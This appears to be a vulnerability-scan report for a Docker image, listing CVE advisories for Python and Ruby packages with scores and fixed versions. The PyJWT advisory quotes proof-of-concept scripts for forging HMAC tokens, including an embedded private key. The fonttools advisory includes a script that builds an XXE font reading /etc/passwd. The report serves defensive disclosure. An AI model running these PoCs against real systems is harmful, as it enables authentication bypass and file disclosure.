protobuf 3.12.4 (pypi) pkg:pypi/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Recursion Affected range <4.25.8 Fixed version 4.25.8 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 6th percentile Description Summary Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit. Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team [email protected] Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default. This is a Python variant of a previous issue affecting protobuf-java. Severity This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker. Proof of Concept For reproduction details, please refer to the unit tests decoder_test.py and message_test Remediation and Mitigation A mitigation is available now. Please update to the latest available versions of the following packages: protobuf-python(4.25.8, 5.29.5, 6.31.1) Improper Restriction of Operations within the Bounds of a Memory Buffer Affected range <3.18.3 Fixed version 3.18.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.123% EPSS Percentile 32nd percentile Description Summary A message parsing and memory management vulnerability in ProtocolBuffer’s C++ and Python implementations can trigger an out of memory (OOM) failure when processing a specially crafted message, which could lead to a denial of service (DoS) on services using the libraries. Reporter: ClusterFuzz Affected versions: All versions of C++ Protobufs (including Python) prior to the versions listed below. Severity & Impact As scored by google Medium 5.7 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Asscored byt NIST High 7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A small (~500 KB) malicious payload can be constructed which causes the running service to allocate more than 3GB of RAM. Proof of Concept For reproduction details, please refer to the unit test that identifies the specific inputs that exercise this parsing weakness. Mitigation / Patching Please update to the latest available versions of the following packages: protobuf-cpp (3.18.3, 3.19.5, 3.20.2, 3.21.6) protobuf-python (3.18.3, 3.19.5, 3.20.2, 4.21.6) Affected range <3.15.0 Fixed version 3.15.0 EPSS Score 0.150% EPSS Percentile 36th percentile Description Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater.

rexml 3.2.5 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range <3.3.6 Fixed version 3.3.6 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.882% EPSS Percentile 86th percentile Description Impact The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. Patches The REXML gem 3.3.6 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with tree parser API. References https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ : An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.752% EPSS Percentile 72nd percentile Description Impact The REXML gem before 3.3.2 has a DoS vulnerability when it parses an XML that has many entity expansions with SAX2 or pull parser API. If you need to parse untrusted XMLs with SAX2 or pull parser API, you may be impacted to this vulnerability. Patches The REXML gem 3.3.3 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with SAX2 or pull parser API. References https://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/ : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.265% EPSS Percentile 50th percentile Description Impact The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.2 Fixed version 3.3.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 6.315% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as <, 0 and %>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.2 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/ Inefficient Regular Expression Complexity Affected range <3.3.9 Fixed version 3.3.9 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 1.153% EPSS Percentile 78th percentile Description Impact The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. Note that Ruby 3.1 will reach EOL on 2025-03. Patches The REXML gem 3.3.9 or later include the patch to fix the vulnerability. Workarounds Use Ruby 3.2 or later instead of Ruby 3.1. References https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.2.7 Fixed version 3.2.7 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 5.903% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.2.6 has a DoS vulnerability when it parses an XML that has many >s in an attribute value. If you need to parse untrusted XMLs, you may be impacted to this vulnerability. Patches The REXML gem 3.2.7 or later include the patch to fix this vulnerability. Workarounds Don't parse untrusted XMLs. References https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/

uri 0.10.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range =0.10.1 Fixed version 0.10.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.452% EPSS Percentile 63rd percentile Description A ReDoS issue was discovered in the URI component through 0.12.0 in Ruby through 3.2.1. The URI parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to URI objects. The fixed versions are 0.12.1, 0.11.1, 0.10.2 and 0.10.0.1. Inefficient Regular Expression Complexity Affected range >=0.10.1 <0.10.3 Fixed version 0.10.3 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 1.202% EPSS Percentile 78th percentile Description A ReDoS issue was discovered in the URI component before 0.12.2 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb. NOTE: this issue exists becuse of an incomplete fix for CVE-2023-28755. Version 0.10.3 is also a fixed version. The Ruby advisory recommends updating the uri gem to 0.12.2. In order to ensure compatibility with the bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0: Update to uri 0.10.3 For Ruby 3.1 and 3.2: Update to uri 0.12.2. You can use gem update uri to update it. If you are using bundler, please add gem uri, >= 0.12.2 (or other version mentioned above) to your Gemfile. Exposure of Sensitive Information to an Unauthorized Actor Affected range <0.11.3 Fixed version 0.11.3 CVSS Score 2.1 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N EPSS Score 0.018% EPSS Percentile 3rd percentile Description There is a possibility for userinfo leakage by in the uri gem. This vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem. Details The methods URI#join, URI#merge, and URI#+ retained userinfo, such as user:password, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur. Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later. Affected versions uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2. Credits Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue. Also thanks to nobu for additional fixes of this vulnerability.

webrick 1.7.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.8.1 Fixed version 1.8.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.119% EPSS Percentile 32nd percentile Description An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby. It allows HTTP request smuggling by providing both a Content-Length header and a Transfer-Encoding header, e.g., "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n" request. NOTE: the supplier's position is "Webrick should not be used in production." Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <1.8.2 Fixed version 1.8.2 CVSS Score 6.5 CVSS Vector CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N EPSS Score 0.059% EPSS Percentile 18th percentile Description Ruby WEBrick read_header HTTP Request Smuggling Vulnerability. This vulnerability allows remote attackers to smuggle arbitrary HTTP requests on affected installations of Ruby WEBrick. This issue is exploitable when the product is deployed behind an HTTP proxy that fulfills specific conditions. The specific flaw exists within the read_headers method. The issue results from the inconsistent parsing of terminators of HTTP headers. An attacker can leverage this vulnerability to smuggle arbitrary HTTP requests. Was ZDI-CAN-21876.

babel 2.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <2.9.1 Fixed version 2.9.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.130% EPSS Percentile 33rd percentile Description Babel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.

date 3.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range >=3.1.0 <3.1.2 Fixed version 3.1.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.538% EPSS Percentile 67th percentile Description Date’s parsing methods including Date.parse are using Regexps internally, some of which are vulnerable against regular expression denial of service. Applications and libraries that apply such methods to untrusted input may be affected. The fix limits the input length up to 128 bytes by default instead of changing the regexps. This is because Date gem uses many Regexps and it is possible that there are still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the limitation by explicitly passing limit keywords as nil like Date.parse(str, limit: nil), but note that it may take a long time to parse. Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later. You can use gem update date to update it. If you are using bundler, please add gem "date", ">= 3.2.1" to your Gemfile. If you import date from the standard library rather than as a gem you should update your Ruby install to 3.0.3, 2.7.5, 2.6.9 or later. Users unable to upgrade may consider using Date.strptime instead with a predefined date format Date.strptime('2001-02-20', '%Y-%m-%d')

mpmath 0.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Allocation of Resources Without Limits or Throttling Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.352% EPSS Percentile 84th percentile Description A Regular Expression Denial of Service (ReDOS) vulnerability was discovered in Mpmath v1.0.0 when the mpmathify function is called.

time 0.1.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Inefficient Regular Expression Complexity Affected range <0.1.1 Fixed version 0.1.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.871% EPSS Percentile 74th percentile Description A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.

wheel 0.37.1 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Inefficient Regular Expression Complexity Affected range <0.38.1 Fixed version 0.38.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.196% EPSS Percentile 42nd percentile Description Python Packaging Authority (PyPA) Wheel is a reference implementation of the Python wheel packaging standard. Wheel 0.37.1 and earlier are vulnerable to a Regular Expression denial of service via attacker controlled input to the wheel cli. The vulnerable regex is used to verify the validity of Wheel file names. This has been patched in version 0.38.1.

pyjwt 2.3.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Use of a Broken or Risky Cryptographic Algorithm Affected range >=1.5.0 <2.4.0 Fixed version 2.4.0 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 0.400% EPSS Percentile 60th percentile Description Impact What kind of vulnerability is it? Who is impacted? Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation). PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.) For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations. PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used. Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify. From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519". import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ed25519 # Generate ed25519 private key private_key = ed25519.Ed25519PrivateKey.generate() # Get private key bytes as they would be stored in a file priv_key_bytes = private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption()) # Get public key bytes as they would be stored in a file pub_key_bytes = private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH) # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA") # Using HMAC with the public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad:     print("POC Successfull") # Of course the receiver should specify ed25519 algorithm to be used if they specify ed25519 public key. However, if other algorithms are used, the POC does not work # HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py # #        invalid_strings = [ #            b"-----BEGIN PUBLIC KEY-----", #            b"-----BEGIN CERTIFICATE-----", #            b"-----BEGIN RSA PUBLIC KEY-----", #            b"ssh-rsa", #        ] # # However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py: # #                if "-----BEGIN PUBLIC" in str_key: #                    return load_pem_public_key(key) #                if "-----BEGIN PRIVATE" in str_key: #                    return load_pem_private_key(key, password=None) #                if str_key[0:4] == "ssh-": #                    return load_ssh_public_key(key) # # These should most likely made to match each other to prevent this behavior import jwt #openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem #openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem #ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY----- MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49 AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END EC PRIVATE KEY-----""" pub_key_bytes = b"""-----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw== -----END PUBLIC KEY-----""" ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=""" # Making a good jwt token that should work by signing it with the private key encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256") # Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256") # Both of the jwt tokens are validated as valid decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms()) if decoded_good == decoded_bad: print("POC Successfull") else: print("POC Failed") The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects. Patches Users should upgrade to v2.4.0. Workarounds Always be explicit with the algorithms that are accepted and expected when decoding. References Are there any links users can visit to find out more? For more information If you have any questions or comments about this advisory: Open an issue in https://github.com/jpadilla/pyjwt Email José Padilla: pyjwt at jpadilla dot com

fonttools 4.29.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Restriction of XML External Entity Reference Affected range >=4.28.2 <4.43.0 Fixed version 4.43.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.131% EPSS Percentile 33rd percentile Description Summary As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. PoC The vulnerability can be reproduced following the bellow steps on a unix based system. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs Read the parsed SVG table in the subsetted font: ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx Observed the included contents of the /etc/passwd file. Impact Note the final severity is dependant on the environment fontTools is running in. The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: Set the resolve_entities=False flag on parsing methods Consider further methods of disallowing doctype declarations Consider recursive regex matching

jinja2 3.0.3 (pypi) pkg:pypi/[email protected] # Dockerfile (108:108) RUN Tools/environment_install/install-prereqs-ubuntu.sh -y Improper Neutralization of Special Elements Used in a Template Engine Affected range <=3.1.5 Fixed version 3.1.6 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.115% EPSS Percentile 31st percentile Description An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup. Protection Mechanism Failure Affected range <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.091% EPSS Percentile 27th percentile Description An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates. Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox. Improper Neutralization of Escape, Meta, or Control Sequences Affected range >=3.0.0 <=3.1.4 Fixed version 3.1.5 CVSS Score 5.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 5th percentile Description A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used. To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.4 Fixed version 3.1.4 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.576% EPSS Percentile 68th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, /, >, or =, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the xmlattr filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting values as user input continues to be safe. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Affected range <3.1.3 Fixed version 3.1.3 CVSS Score 5.4 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N EPSS Score 0.093% EPSS Percentile 27th percentile Description The xmlattr filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the xmlattr filter, and an application doing so should already be verifying what keys are provided regardless of this fix.

